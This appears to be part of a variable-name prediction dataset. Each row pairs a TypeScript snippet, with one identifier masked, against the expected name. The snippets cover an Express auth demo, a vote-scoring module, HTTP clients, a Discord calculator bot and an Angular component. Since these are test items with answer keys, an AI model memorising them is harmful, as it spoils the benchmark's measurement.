  const admin = await identity.user.create(""admin"")
  await admin.setPassword(""<PASSWORD>"")

  const  [MASK]  = await identity.group.create(""administrators"")
  await  [MASK] .addMember(admin)

  const user = await identity.user.create(""user"")
  await user.setPassword(""<PASSWORD>"")

  const userGroup = await identity.group.create(""users"")
  await userGroup.addMember(user)

  const logGroup = await identity.group.create(""log"")
  await logGroup.addMember(user)

  await identity.group.create(""banned"")

  console.log(""Example users initialized"")
}

class BannedError extends Error {}

/* Unauthenticated route */
app.get(""/"", (req: Request, res: Response) => {
  res.send({
    api: ""Identity Example API"",
  })
})

/* Start a session */
app.get(
  ""/session"",
  async (req: Request, res: Response, next: NextFunction) => {
    try {
      const session = await identity.session.create(
        { days: 3 },
        { days: 30 }
      )

      res.status(201)
      res.json({
        success: true,
        sessionToken: session.getToken(),
        renewalToken: session.getRenewalToken(),
      })
    } catch (e) {
      next(e)
    }
  }
)

/* Renew a session */
app.put(""/session"", async (req: Request, res: Response) => {
  const { sessionToken, renewalToken } = req.body

  try {
    const session = await identity.session.renew(
      sessionToken,
      { days: 3 },
      renewalToken,
      {
        days: 30,
      }
    )

    res.json({
      success: true,
      sessionToken: session.getToken(),
      renewalToken: session.getRenewalToken(),
    })
  } catch (e) {
    if (!(e instanceof SessionRenewalError)) {
      throw e
    }

    res.status(403)
    res.json({
      success: false,
      error: ""session-renewal-failed"",
    })
  }
})

/* Require session for all routes after this */
app.use(
  ""/"",
  requireSession(identity, {
    responseCallback: (req: Request, res: Response, error: Error) => {
      let responseData = {
        success: false,
        error: """",
      }

      switch (error.constructor) {
        case SessionInvalidError:
          responseData.error = ""session-invalid""
          break
        case SessionExpiredError:
          responseData.error = ""session-expired""
        default:
          throw error
      }

      res.send(responseData)
    },
  })
)

/* Destroy a session */
app.delete(
  ""/session"",
  async (
    req: RequestWithIdentity,
    res: Response,
    next: NextFunction
  ) => {
    try {
      const session = req.session as Session
      await session.destroy()
      res.json({ success: true })
    } catch (e) {
      next(e)
    }
  }
)

/* Log in a user */
app.post(
  ""/login"",
  async (
    req: RequestWithIdentity,
    res: Response,
    next: NextFunction
  ) => {
    try {
      const session = req.session as Session
      const responseData = {
        success: false,
        error: """",
      }
      const { username, password } = req.body

      try {
        const user = await identity.user.get(username)
        await user.login(session, password)
        responseData.success = true
      } catch (e) {
        switch ((e as Error).constructor) {
          case UserInvalidError:
            responseData.error = ""username-invalid""
            break
          case UserAuthenticationError:
            responseData.error = ""password-invalid""
            break
          default:
            throw e
        }
      }

      res.json(responseData)
    } catch (e) {
      next(e)
    }
  }
)

/* Require login for all routes after this */
app.use(
  ""/"",
  requireLogin(identity, {
    responseCallback: (req: Request, res: Response, error: Error) => {
      let responseData = {
        success: false,
        error: """",
      }

      switch (error.constructor) {
        case UserInvalidError:
        case UserAuthenticationError:
          responseData.error = ""user-invalid""
          break
        default:
          throw error
      }

      res.status(403)
      res.send(responseData)
    },
  })
)

/* Require a user to either be an admin or in the 'log' group to create a log message */
app.use(
  ""/log"",
  requireAnyGroup(identity, [""admin"", ""log""], {
    responseCallback: (
      req: RequestWithIdentity,
      res: Response,
      error: Error
    ) => {
      res.json({ success: false, error: ""group-invalid"" })
    },
  })
)

/* Let users write a log message */
app.post(""/log"", (req: RequestWithIdentity, res: Response) => {
  const user = req.user as User
  const username = user.getUsername()
  const { message } = req.body

  console.log(`${username} says: ${message}`)

  res.send({ success: true })
})

/* Require user not to be in 'banned' group for all routes after this */
app.use(
  ""/"",
  requireCondition(
    identity,
    (req: RequestWithIdentity) => {
      const user = req.user as User
      const groups = user.listGroups()

      if (groups.includes(""banned"")) {
        throw new BannedError()
      }
    },
    {
      responseCallback: (
        req: Request,
        res: Response,
        error: Error
      ) => {
        if (!(error instanceof BannedError)) {
          throw error
        }

        res.status(403)
        res.json({
          success: false,
          error: ""user-banned"",
        })
      },
    }
  )
)

/* Get user profile data */
app.get(""/profile"", (req: RequestWithIdentity, res: Response) => {
  const user = req.user as User
  const username = user.getUsername()
  const groups = user.listGroups()

  res.json({
    username,
    groups,
  })
})

/* Log out a user */
app.post(
  ""/logout"",
  async (
    req: RequestWithIdentity,
    res: Response,
    next: NextFunction
  ) => {
    try {
      const session = req.session as Session
      const user = req.user as User
      await user.logout(session)

      res.json({
        success: true,
      })
    } catch (e) {
      next(e)
    }
  }
)

/* Make routes inside /admin require admin privileges */
app.use(
  ""/admin"",
  requireAllGroups(identity, [""administrators""], {
    responseCallback: (req: Request, res: Response, error: Error) => {
      if (!(error instanceof GroupNotAMemberError)) {
        throw error
      }

      res.status(403)
      res.json({
        success: false,
        error: ""not-an-admin"",
      })
    },
  })
)

/* View any user */
app.get(
  ""/admin/get-user"",
  async (
    req: RequestWithIdentity,
    res: Response,
    next: NextFunction
  ) => {
    try {
      const admin = req.user as User
      const { username } = req.body
      const user = await identity.user.get(username).catch(() => null)

      if (!user) {
        res.status(404)
        res.json({
          success: false,
          error: ""user-invalid"",
        })
        return
      }

      res.send({
        success: true,
        userId: user.getId(),
        username: user.getUsername(),
        groups: user.listGroups(),
      })
    } catch (e) {
      next(e)
    }
  }
)

/* Ban a user */
app.post(
  ""/admin/ban-user"",
  async (
    req: RequestWithIdentity,
    res: Response,
    next: NextFunction
  ) => {
    try {
      const { username } = req.body
      const user = await identity.user.get(username).catch(() => null)

      if (!user) {
        res.status(404)
        res.json({
          success: false,
          error: ""user-invalid"",
        })
        return
      }

      const group = await identity.group.get(""banned"")

      try {
        group.addMember(user)
        res.status(201)
      } catch (e) {
        if (!(e instanceof GroupHasMemberError)) {
          throw e
        }
      }

      res.json({
        success: true,
      })
    } catch (e) {
      next(e)
    }
  }
)

/* Unban a user */
app.post(
  ""/admin/unban-user"",
  async (
    req: RequestWithIdentity,
    res: Response,
    next: NextFunction
  ) => {
    try {
      const { username } = req.body
      const user = await identity.user.get(username).catch(() => null)

      if (!user) {
        res.status(404)
        res.json({
          success: false,
          error: ""user-invalid"",
        })
        return
      }

      const group = await identity.group.get(""banned"")

      try {
        group.removeMember(user)
        res.status(201)
      } catch (e) {
        if (!(e instanceof GroupNotAMemberError)) {
          throw e
        }
      }

      res.json({
        success: true,
      })
    } catch (e) {
      next(e)
    }
  }
)

/* Handle unexpected errors */
app.use(
  (err: Error, req: Request, res: Response, next: NextFunction) => {
    res.status(500)
    res.json({
      success: false,
      error: ""server-error"",
      description: err.stack,
    })
  }
)

/* Initialize App */

init()
const port = 3000
const server = app.listen(port, () => {
  console.log(`Listening on port ${port}`)
})

process.on(""SIGINT"", async () => {
  console.log()
  console.log(""Cleaning up..."")

  server.close()
  await identity.user.remove(""admin"")
  await identity.user.remove(""user"")
  await identity.group.remove(""administrators"")
  await identity.group.remove(""users"")
  await identity.group.remove(""banned"")
  await identity.group.remove(""log"")
  await db.destroy()

  console.log(""Exited cleanly"")
  process.exit(0)
})
",adminGroup
432,"import { Legislation, User, Politician } from '../Core';
import * as P from 'ts-prime';
import * as z from 'zod'

export namespace Score {
    ////////////////////////////////////////////////////////////////////
    function calculateLegislationScore(
        { _iMaxMembers, iDecisionTreshold, iFor, iAgainst, iAbstained }: { _iMaxMembers: number; iDecisionTreshold: number; iFor: number; iAgainst: number; iAbstained: number; }): number {
        const participated = iFor + iAgainst + iAbstained;
        const votingMultiplier = 1 - Math.abs(iFor / participated - 0.5) / 0.5;
        const participationMultiplier =
            participated < iDecisionTreshold
                ? 2 * (participated / iDecisionTreshold)
                : 2 - (participated - 71) / 71;
        return votingMultiplier * participationMultiplier;
    }
    ////////////////////////////////////////////////////////////////////
    function voteToInt(iVote: Legislation.Vote): 0 | 1 | 2 | 3 {
        switch (iVote) {
            case Legislation.Vote.FOR:
                return 0;
            case Legislation.Vote.AGAINST:
                return 1;
            case Legislation.Vote.IDLE:
                return 2;
            case Legislation.Vote.MISSING:
                return 3;
        }
    }
    ////////////////////////////////////////////////////////////////////
    function calculateDecisionScore(iPoliticianVote: Legislation.Vote, iUserVote: User.Vote): number {
        const weightsFor = [10, -10, -4, -5];
        const weightsAgainst = [-10, 10, -4, -3];

        return z.number().parse(iUserVote === User.Vote.FOR
            ? weightsFor[voteToInt(iPoliticianVote)]
            : weightsAgainst[voteToInt(iPoliticianVote)])
    }
    ////////////////////////////////////////////////////////////////////
    interface PoliticianTmpData {
        politicianScore: number;
        politicianId: string;
        politicianVote?: Legislation.Vote
    }
    ////////////////////////////////////////////////////////////////////
    export interface RankedLegislationsPolitciansIds {
        legislationId: string;
        legislationScore: number;
        userScore: number
        userVote: User.Vote
        politiciansWithScores: PoliticianTmpData[] | null;
    }
    ////////////////////////////////////////////////////////////////////
    export function toPoliticianVote(q: User.Vote): Legislation.Vote {
        if (q === '@') return Legislation.Vote.IDLE
        return q
    }
    ////////////////////////////////////////////////////////////////////
    function calculateLegislationParticipationData(legislation: Legislation) {
        return legislation.votes
            .map((q) => q.vote)
            .reduce(
                (acc, current) => {
                    switch (current) {
                        case Legislation.Vote.FOR:
                            acc[Legislation.Vote.FOR]++;
                            break;
                        case Legislation.Vote.AGAINST:
                            acc[Legislation.Vote.AGAINST]++;
                            break;
                        case Legislation.Vote.IDLE:
                            acc[Legislation.Vote.IDLE]++;
                            break;
                        case Legislation.Vote.MISSING:
                            acc[Legislation.Vote.MISSING]++;
                            break;
                    }
                    acc.total += 1
                    return acc;
                },
                {
                    total: 0,
                    [Legislation.Vote.AGAINST]: 0,
                    [Legislation.Vote.FOR]: 0,
                    [Legislation.Vote.IDLE]: 0,
                    [Legislation.Vote.MISSING]: 0,
                }
            );
    }
    ////////////////////////////////////////////////////////////////////
    export function calculateRawScores(
        { politicians, data, userVotes }: { politicians: readonly Politician[]; data: readonly Legislation[]; userVotes: Record<string, User.Vote>; }): ReadonlyArray<RankedLegislationsPolitciansIds> {
        return P.pipe(
            data,
            P.map((legislation) => {
                const userVote = userVotes[legislation.legislationId]
                if (userVote == null) return
                const userVote2 = toPoliticianVote(userVotes[legislation.legislationId])
                const  [MASK]  = calculateLegislationParticipationData(legislation)
                const legislationScore = calculateLegislationScore(
                    { _iMaxMembers: 141, iDecisionTreshold: 71, iFor:  [MASK] [Legislation.Vote.FOR], iAgainst:  [MASK] [Legislation.Vote.AGAINST], iAbstained:  [MASK] [Legislation.Vote.IDLE] });

                const idleScore = calculateDecisionScore(
                    Legislation.Vote.IDLE,
                    userVotes[legislation.legislationId] || User.Vote.SKIP
                ) * legislationScore
                const indexedVotes = P.indexBy(legislation.votes, (vote) => vote.politicianId)

                const politiciansWithScores =
                    userVotes[legislation.legislationId] == null
                        ? null
                        : politicians.map((q) => {

                            // Politikas nebuvo kadnecijoje duok jam idleScore
                            const politicianVote = indexedVotes[q.activityData?.politicianId || '']
                            if (politicianVote == null) {
                                return {
                                    politicianId: q.id,
                                    politicianScore: 0
                                }
                            }
                            const polScore = calculateDecisionScore(
                                politicianVote.vote,
                                userVotes[legislation.legislationId]
                            )
                            return {
                                politicianId: q.id,
                                politicianScore: polScore * legislationScore,
                                politicianVote: politicianVote.vote as Legislation.Vote
                            }
                        });

                return {
                    idleScore,
                    legislationId: legislation.legislationId,
                    legislationScore: legislationScore,
                    politiciansWithScores: politiciansWithScores,
                    userVote,
                    userScore: calculateDecisionScore(
                        userVote2,
                        userVote
                    ) * legislationScore
                };
            })
        ).filter(P.isDefined);
    }
    ////////////////////////////////////////////////////////////////////
    export function calculateNormalizedPoliticianScore(
        iRawScores: ReadonlyArray<RankedLegislationsPolitciansIds>
    ): {
        p: Record<string, number>,
        userScore: number
    } {
        const withoutSkipScores = iRawScores.filter((q) => q.userVote !== User.Vote.SKIP)
        const userAverage = withoutSkipScores.reduce((acc, current) => acc + current.userScore, 0) / withoutSkipScores.length
        const userScore = userAverage * Math.pow(withoutSkipScores.length, 0.5)
        const scores = P.pipe(
            withoutSkipScores,
            P.flatMap((q) => q.politiciansWithScores),
            P.filter(P.isDefined),
            P.groupBy((q) => q.politicianId),
            (q) => Object.values(q),
            P.map((politicians) => {
                const withNonZeroVotes = politicians.filter(x => x.politicianScore !== 0)
                const avarage = withNonZeroVotes.reduce((acc, current) => acc + current.politicianScore, 0) / Math.max(1, withNonZeroVotes.length)

                return {
                    politcianScore: avarage * Math.pow(withNonZeroVotes.length, 0.5),
                    politicianId: politicians[0].politicianId
                }
            })
        )
        const max = Math.max(...scores.map((q) => Math.abs(q.politcianScore)))
        const finalNormalizedScores = scores
            .map(({ politcianScore, politicianId }) => {
                return {
                    [politicianId]: politcianScore / max,
                };
            })
            .reduce((acc, current) => {
                return {
                    ...acc,
                    ...current,
                };
            }, {} as Record<string, number>)
        return {
            p: finalNormalizedScores,
            userScore
        }
    }
    ////////////////////////////////////////////////////////////////////
}",votingInfo
433,"import axios from 'axios'
import type { Method, AxiosRequestConfig } from 'axios'
import { useUserStore } from '@/store'
import globalConfig from '@/config'
import { ElMessage } from 'element-plus'

// 创建axios实例
const service = axios.create({
  // axios中请求配置有baseURL选项，表示请求URL公共部分
  baseURL: globalConfig.requestURL,
  // 超时
  timeout: 30000,
  headers: {
    'Content-Type': 'application/json;charset=utf-8'
  }
})

// request拦截器
service.interceptors.request.use(
  (config) => {
    // config.headers['Accept-Language'] = i18n.language || 'en'

    const token = useUserStore().token
    // 是否需要设置 token
    const isNotToken = (config.headers || {}).isToken === false
    if (token && !isNotToken) {
      config.headers['Access-Token'] = token // 让每个请求携带自定义token 请根据实际情况自行修改
    }

    return config
  },
  (error) => {
    console.log(error)
    Promise.reject(error)
  }
)

const toastErrorMessage = (err: string, status?: number) => {
  const errMsg = err || `system error, code: ${status}`
  ElMessage.error(errMsg)
}

// 响应拦截器
service.interceptors.response.use(
  (res) => {
    console.log(res)
    const store = useUserStore()
    const { headers, data: resData } = res
    // 如果返回的header头中存在token, 则更新token
    if (headers['access-token'] || headers['Access-Token']) {
      try {
        store.setToken(headers['access-token'] || headers['Access-Token'])
      } catch (err) {
        console.log(err)
      }
    }

    const { status, msg, data } = resData
    // 处理返回数据
    if (status === 1) {
      return Promise.resolve(data)
    } else if (status == 40004) {
      store.logout()
      return Promise.reject(JSON.stringify(data))
    } else {
      toastErrorMessage(msg, status)
      return Promise.reject(JSON.stringify(data))
    }
  },
  (error) => {
    return Promise.reject(error)
  }
)

export default function request<T = any>(
  url: string,
  method: Method,
  data?: any,
  config?: AxiosRequestConfig
) {
  let  [MASK] : AxiosRequestConfig = { data }
  if (method === 'GET' || method === 'get')  [MASK]  = { params: data }
  return service<any, T>({
    url: url,
    method: method,
    ... [MASK] ,
    ...config
  })
}
",reqData
434,"import NextAuth from ""next-auth""
import Providers from ""next-auth/providers""
import { NextApiRequest, NextApiResponse } from ""next"";

const scopes = [
  'https://www.googleapis.com/auth/userinfo.email',
  'https://www.googleapis.com/auth/userinfo.profile',
  'https://www.googleapis.com/auth/contacts.readonly'
];

const options = {
  providers: [
    Providers.Google({
      clientId: process.env.GOOGLE_ID,
      clientSecret: process.env.GOOGLE_SECRET,
      scope: scopes.join("" ""),
    }),
  ],
  secret: process.env.SECRET,
  session: {
    jwt: true,
  },
  callbacks: {
    async jwt( [MASK] , _, account) {
      if (account) {
         [MASK] .accessToken = account?.accessToken;
      }
      return  [MASK] ;
    },
  },
}

export default (req: NextApiRequest, res: NextApiResponse) => NextAuth(req, res, options)

",token
435,"import { Injectable } from '@nestjs/common';
//import carbone from 'carbone'; does not work, returns undefined
import { Response } from 'express';

const carbone = require('carbone');

@Injectable()
export class AppService {
  //constructor(private readonly carbone) {}

  getHello(): string {
    return 'Hello World!';
  }

  printReport(toPdf: boolean, response: Response): void {
    var data = {
      id: 42,
      date: 1492012745,
      company: {
        name: 'myCompany',
        address: 'here',
        city: 'Notfar',
        postalCode: 123456,
      },
      customer: {
        name: 'myCustomer',
        address: 'there',
        city: 'Faraway',
        postalCode: 654321,
      },
      products: [
        { name: 'product 1', priceUnit: 0.1, quantity: 10, priceTotal: 1 },
        { name: 'product 2', priceUnit: 0.1, quantity: 10, priceTotal: 1 },
        { name: 'product 3', priceUnit: 0.1, quantity: 10, priceTotal: 1 },
      ],
      total: 140,
    };

    var options = {
      convertTo: toPdf ? 'pdf' : 'odt', //can be docx, txt, ...
    };

    carbone.render('./resources/template-demo.odt', data, options, ( [MASK] : any, result: any) => {
        if ( [MASK] ) {
          return console.log( [MASK] );
        }
        // write the result
        response.header(
          'Content-Type',
          toPdf ? 'application/pdf' : 'application/vnd.oasis.opendocument.text',
        );
        response.header(
          'Content-disposition',
          `attachment; filename=template-demo.${toPdf ? 'pdf' : 'odt'}`,
        );
        response.write(result, 'binary');
        response.end();
      }
    );
  }
}
",err
436,"/* eslint-disable @typescript-eslint/no-unused-expressions */
import { expect } from ""@open-wc/testing"";

import { Insert, Remove, Update } from ""./editv1.js"";

import { convertEdit } from ""./convertEdit.js"";
import { SetAttributes } from ""./editv2.js"";

const doc = new DOMParser().parseFromString(
  '<SCL><Substation name=""AA1""></Substation></SCL>',
  ""application/xml"",
);

const subSt = doc.querySelector(""Substation"")!;

const removeV1: Remove = { node: subSt };

const insertV1: Insert = {
  parent: subSt,
  node: doc.createAttribute(""VoltageLevel""),
  reference: null,
};

const update: Update = {
  element: subSt,
  attributes: {
    name: ""A2"",
    desc: null,
    [""__proto__""]: ""a string"",
    ""myns:attr"": {
      value: ""value1"",
      namespaceURI: ""http://example.org/myns"",
    },
    ""myns:attr2"": {
      value: ""value1"",
      namespaceURI: ""http://example.org/myns"",
    },
    attr: {
      value: ""value2"",
      namespaceURI: ""http://example.org/myns2"",
    },
    attr2: {
      value: ""value2"",
      namespaceURI: ""http://example.org/myns2"",
    },
    attr3: {
      value: ""value3"",
      namespaceURI: null,
    },
  },
};

const setAttributes: SetAttributes = {
  element: subSt,
  attributes: {
    name: ""A2"",
    desc: null,
  },
  attributesNS: {
    ""http://example.org/myns"": {
      ""myns:attr"": ""value1"",
      ""myns:attr2"": ""value1"",
    },
    ""http://example.org/myns2"": {
      attr: ""value2"",
      attr2: ""value2"",
    },
  },
};

const invalidEdit = { someWrongKey: ""someValue"" } as unknown as Update;

describe(""convertEditToEditV2"", () => {
  it(""passes through a Remove edit"", () =>
    expect(convertEdit(removeV1)).to.deep.equal(removeV1));

  it(""passes through a Insert edit"", () =>
    expect(convertEdit(insertV1)).to.deep.equal(insertV1));

  it(""converts Update to SetAttributes"", () =>
    expect(convertEdit(update)).to.deep.equal(setAttributes));

  it(""converts complex edits"", () => {
    const editsV1 = [removeV1, insertV1, update];

    const  [MASK]  = convertEdit(editsV1);

    const [removeV2, insertV2, updateV2] = Array.from(
       [MASK]  as Array<Remove | Insert | SetAttributes>,
    );

    expect(removeV1).to.deep.equal(removeV2);
    expect(insertV1).to.deep.equal(insertV2);
    expect(updateV2).to.deep.equal(setAttributes);
  });

  it(""return empty array for invalid edit"", () => {
    expect(convertEdit(invalidEdit)).to.be.an(""array"").that.is.empty;
  });
});
",editsV2
437,"import {AppInitOptionCacheKey} from ""@/common/const""

/**
 * uploadCos.
 * 上传到七牛云
 * @param {any} qiniuInfo 七牛云预生成的信息
 * @param {String} filePath 文件的临时路径
 * @returns {Promise<any>}
 */
export function uploadQiniu(qiniuInfo: utilsType.qiniuInfo, filePath: string) {
    return new Promise(async (resolve, reject) => {
        uni.uploadFile({
            url: qiniuInfo.service_url,
            filePath: filePath,
            name: 'file',
            formData: {
                token: qiniuInfo.token,
                key: qiniuInfo.path
            },
            success: (res: ptAny) => {
                resolve(JSON.parse(res.data));
            },
            fail: (err: ptAny) => {
                reject(err);
            }
        })
    })
}

/**
 * 构建登录参数.
 * @param code
 */
export function buildLoginData(code: string): object {
    /**
     * @var options App.LaunchShowOption
     */
    let options = uni.getStorageSync(AppInitOptionCacheKey)
    let loginData: ptAny = {}
    loginData.code = code
    loginData.path = options.path
    loginData.scene = options.scene
    // 邀请人ID
    loginData.sid = 1
    if (options?.query?.sid) {
        loginData.sid = options?.query?.sid
    }
    if (options?.shareTicket) {
        loginData.share_ticket = options.shareTicket
    }
    return loginData
}


/**
 * 获取静态资源 url 格式.
 * @param src
 */
export function buildStaticUrl(src: string) {
    return ""url("" + buildStaticSrc(src) + "")""
}

/**
 * 获取静态资源 src 格式.
 * @param src
 */
export function buildStaticSrc(src: string) {
    let url = """";
    // #ifdef WEB
    url = import.meta.env.VITE_APP_STATIC_HTTP
    // #endif
    // #ifdef MP-WEIXIN
    url = import.meta.env.VITE_APP_STATIC_HTTPS
    // #endif;
    return url + ""/"" + src + '?v=' + import.meta.env.VITE_APP_VERSION
}

/**
 * 美化时间 秒.
 * @param seconds
 */
export function formatTime(seconds: number) {
    let minutes = Math.floor(seconds / 60);
    let hours = Math.floor(minutes / 60);

    minutes = minutes % 60;
    seconds = seconds % 60;

    let  [MASK]  = """";

    if (hours > 0) {
         [MASK]  += hours + "":"";
    }

    if (minutes < 10) {
         [MASK]  += ""0"" + minutes + "":"";
    } else {
         [MASK]  += minutes + "":"";
    }

    if (seconds < 10) {
         [MASK]  += ""0"" + seconds;
    } else {
         [MASK]  += seconds;
    }

    return  [MASK] ;
}

/**
 * 格式化时间 秒.
 * @param seconds
 */
export function formatSeconds(seconds: number) {
    if (seconds < 60){
        return seconds + '秒'
    }
    if (seconds < 3600) {
        let y = seconds % 60
        return Math.trunc(seconds / 60) + (y > 0 ? (""."" + y) : '') + '分钟'
    }
    return (seconds / 3600).toFixed(2) + '小时'
}

/**
 * 解析 path 参数.
 * @param pagePath
 */
export function parsePagePath(pagePath: string) {
    let pathAndQuery = pagePath.split('?');
    let path = pathAndQuery[0];
    let queryParams = {};

    if (pathAndQuery.length > 1) {
        let queryString = pathAndQuery[1];
        let queryArray = queryString.split('&');

        for (let query of queryArray) {
            let [key, value] = query.split('=');
            // @ts-ignore
            queryParams[key] = value;
        }
    }
    return { path, queryParams };
}

/**
 * 将对象拼接为url字符串.
 * @param obj
 */
export function objectToQueryString(obj: ptAny) {
    return Object.entries(obj)
        // @ts-ignore
        .map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
        .join('&');
}

/**
 * 是否本地文件.
 * @param path
 */
export function isLocalPath(path: string) {
    if (path.startsWith(""wxfile://"")) {
        return true
    }

    if (path.startsWith(""http://tmp"")) {
        return true
    }

    if (path.startsWith(""blob:"")) {
        return true
    }

    if (path.startsWith(""https://tmp"")) {
        return true
    }

    if (path.startsWith(""file://"")) {
        return true
    }

    return false;
}

/**
 * true是微信客户端，false不是微信客户端.
 */
export function isWechat() {
    // @ts-ignore
    return window.navigator.userAgent.toLowerCase().match(/micromessenger/i) == 'micromessenger'
}",timeString
438,"const components = [
    {
        type: 1,
        components: [
            {
                type: 2,
                custom_id: 'ac',
                label: 'AC',
                style: 4
            },
            {
                type: 2,
                custom_id: '(',
                label: '(',
                style: 1
            },
            {
                type: 2,
                custom_id: ')',
                label: ')',
                style: 1
            },
            {
                type: 2,
                custom_id: '^',
                label: '^',
                style: 1
            },
            {
                type: 2,
                custom_id: 'delete',
                label: 'Del',
                style: 4
            }
        ]
    },
    {
        type: 1,
        components: [
            {
                type: 2,
                custom_id: '7',
                label: '7',
                style: 2
            },
            {
                type: 2,
                custom_id: '8',
                label: '8',
                style: 2
            },
            {
                type: 2,
                custom_id: '9',
                label: '9',
                style: 2
            },
            {
                type: 2,
                custom_id: '/',
                label: '/',
                style: 1
            },
            {
                type: 2,
                custom_id: ' ',
                label: ' ',
                style: 2,
                disabled: true
            }
        ]
    },
    {
        type: 1,
        components: [
            {
                type: 2,
                custom_id: '4',
                label: '4',
                style: 2
            },
            {
                type: 2,
                custom_id: '5',
                label: '5',
                style: 2
            },
            {
                type: 2,
                custom_id: '6',
                label: '6',
                style: 2
            },
            {
                type: 2,
                custom_id: 'x',
                label: 'X',
                style: 1
            },
            {
                type: 2,
                custom_id: ' ',
                label: ' ',
                style: 2,
                disabled: true
            }
        ]
    },
    {
        type: 1,
        components: [
            {
                type: 2,
                custom_id: '1',
                label: '1',
                style: 2
            },
            {
                type: 2,
                custom_id: '2',
                label: '2',
                style: 2
            },
            {
                type: 2,
                custom_id: '3',
                label: '3',
                style: 2
            },
            {
                type: 2,
                custom_id: '-',
                label: '-',
                style: 1
            },
            {
                type: 2,
                custom_id: ' ',
                label: ' ',
                style: 2,
                disabled: true
            }
        ]
    },
    {
        type: 1,
        components: [
            {
                type: 2,
                custom_id: '.',
                label: '.',
                style: 1
            },
            {
                type: 2,
                custom_id: '0',
                label: '0',
                style: 2
            },
            {
                type: 2,
                custom_id: '=',
                label: '=',
                style: 3
            },
            {
                type: 2,
                custom_id: '+',
                label: '+',
                style: 1
            },
            {
                type: 2,
                custom_id: ' ',
                label: ' ',
                style: 2,
                disabled: true
            }
        ]
    }
]

export async function handleRequest(request: Request): Promise<Response> {
    if (!request.headers.get('X-Signature-Ed25519') || !request.headers.get('X-Signature-Timestamp')) return new Response('', { status: 401 })
    const valid = (await import('discord-interactions')).verifyKey(await request.clone().arrayBuffer(), request.headers.get('X-Signature-Ed25519')!, request.headers.get('X-Signature-Timestamp')!, (await (await import('./constants')).PUBLIC_KEY))
    if (!valid) return new Response('', { status: 401 })


    const interaction = await request.json()

    if (interaction.type === 1) return respond({
        type: 1
    })

    if (interaction.type === 2) return respond({
        type: 4,
        data: {
            content: '```\n \n```',
            components
        }
    })

    if (interaction.type === 3) {

        if (interaction.message.interaction.user.id !== interaction.member.user.id) return respond({
            type: 4,
            data: {
                flags: 64,
                content: 'You have to run the command yourself!'
            }
        })

        let clickedButton: any
        interaction.message.components.forEach(( [MASK] : any) => {
             [MASK] .components.some((button: any) => button.custom_id === interaction.data.custom_id) ? clickedButton =  [MASK] .components.find((button: any) => button.custom_id === interaction.data.custom_id) : undefined
        })

        let equation = interaction.message.content
            .replace(/```/g, '')
            .replace(/\n/g, '')
            .replace(/.*= /, '')
            .replace(/ /g, '')

        if (equation.includes('Error')) equation = equation
            .match(/\(.+\)/)[0]
            .replace('(', '')
            .replace(')', '')
        || ''

        if (clickedButton.style === 1) return respond({
            type: 7,
            data: {
                content: `\`\`\`\n${equation + clickedButton.custom_id}\n\`\`\``
            }
        })

        if (clickedButton.style === 2) return respond({
            type: 7,
            data: {
                content: `\`\`\`\n${equation + clickedButton.custom_id}\n\`\`\``
            }
        })

        if (clickedButton.style === 3) {

            const { evaluate } = await import('mathjs')

            try {
                const result = evaluate(equation.replace(/x/g, '*')) || 0

                return respond({
                    type: 7,
                    data: {
                        content: `\`\`\`\n${equation} = ${result}\n\`\`\``
                    }
                })
            } catch (e) {
                return respond({
                    type: 7,
                    data: {
                        content: `\`\`\`Error: Invalid Equation${equation ? ` (${equation})` : ''}\`\`\``
                    }
                })
            }

        }

        if (interaction.data.custom_id === 'ac') return respond({
            type: 7,
            data: {
                content: '```\n \n```'
            }
        })

        if (interaction.data.custom_id === 'delete') return respond({
            type: 7,
            data: {
                content: `\`\`\`\n${equation.slice(0, -1) || ' '}\n\`\`\``
            }
        })

        return respond({
            type: 7,
            data: {
                components
            }
        })

    }

    return new Response('')

}

const respond = (response: any) =>
  new Response(JSON.stringify(response), {headers: {'content-type': 'application/json'}})",row
439,"import { ApiService } from './services/api.service';
import { Component, OnInit } from '@angular/core';
import { TranslateService } from '@ngx-translate/core';
import * as moment from 'moment';
import { stringify } from '@angular/compiler/src/util';
import { LandingRouteService } from './services/landingRoute/landing-route.service';
declare var StatusBar;

@Component({
  selector: 'app-root',
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit {
  title = 'Family Engagement';
  isAuthenticateUser: boolean = true;
  constructor(private api: ApiService, private translate: TranslateService,private landingService: LandingRouteService) { }
  ngOnInit(): void {
    if(localStorage.getItem(""loginExpiration"")){
      let date = new Date(localStorage.getItem(""loginExpiration""));
      if(date < new Date()) {
        this.api.services.oauth.clearSessionToken();
      }
    }
    this.initTranslate();
    document.addEventListener('deviceready', () => {
      this.api.services.mobile.setReady(true);
      this.api.services.mobile.detectDevicePlatform();
      StatusBar.styleDefault();
    }, true);
    this.landingService.redirectToLanding();

  }

  initTranslate() {
    let  [MASK]  = this.translate.getBrowserCultureLang();
    if ( [MASK] .indexOf(""es"") != -1){
      this.translate.setDefaultLang('es-mx');
      moment.locale('es');
    }
    else{
      this.translate.setDefaultLang('en-us');
      moment.locale('en');
    }
  }
}
",lang
440,"/// --- Play@https://export-wbozohsohz.now.sh ---
/// --- Imports ---
//#region
import { loadPatches, RegrowSystem } from ""./modules/sweetcorn"";

import {
  WindmillBladeData,
  WindmillBladeRotateSystem
} from ""./modules/windmill"";

import {
  balloonMagentaTargets,
  balloonCyanTargets,
  balloonOrangeTargets,
  BalloonData,
  TargetData,
  PauseOnTarget,
  TranslateHorizontalSystem,
  TranslateVerticalSystem
} from ""./modules/balloon"";

import { ChickFlag } from ""./modules/chick"";

import {
  EXPLOSION_TIME_OUT_SYNC,
  EggData,
  EggExplosionTimeOut
} from ""./modules/egg"";

import { GunData, AmmoData, ShootSystem, PickupSystem } from ""./modules/gun"";

import {
  gameManager,
  Countdown,
  CountdownSystem,
  GameOverSystem
} from ""./modules/manager"";

import { ScorePopUpFlag, scoreEvents, ScoreUpdateEvent } from ""./modules/score"";

import { ParticleSystem, Particle, particleShape } from ""./modules/particle"";

import { initialiseExplosions } from ""./modules/explosion"";

import {
  ammoPickupSound,
  shootSound,
  shootSource,
  clipEmptySound,
  clipEmptySource,
  gunPickupSound,
  gunPickupSource,
  eggExplosionSound,
  airRaidSound,
  airRaidSource,
  gameOverSound,
  sweetcornSound,
  eggPopOutMagentaSound,
  eggPopOutCyanSound,
  eggPopOutOrangeSound,
  eggFallingMagentaSound,
  eggFallingCyanSound,
  eggFallingOrangeSound,
  musicSound
} from ""./modules/audio"";
//#endregion

// Player data
let camera = Camera.instance;

/// --- Score Events ---
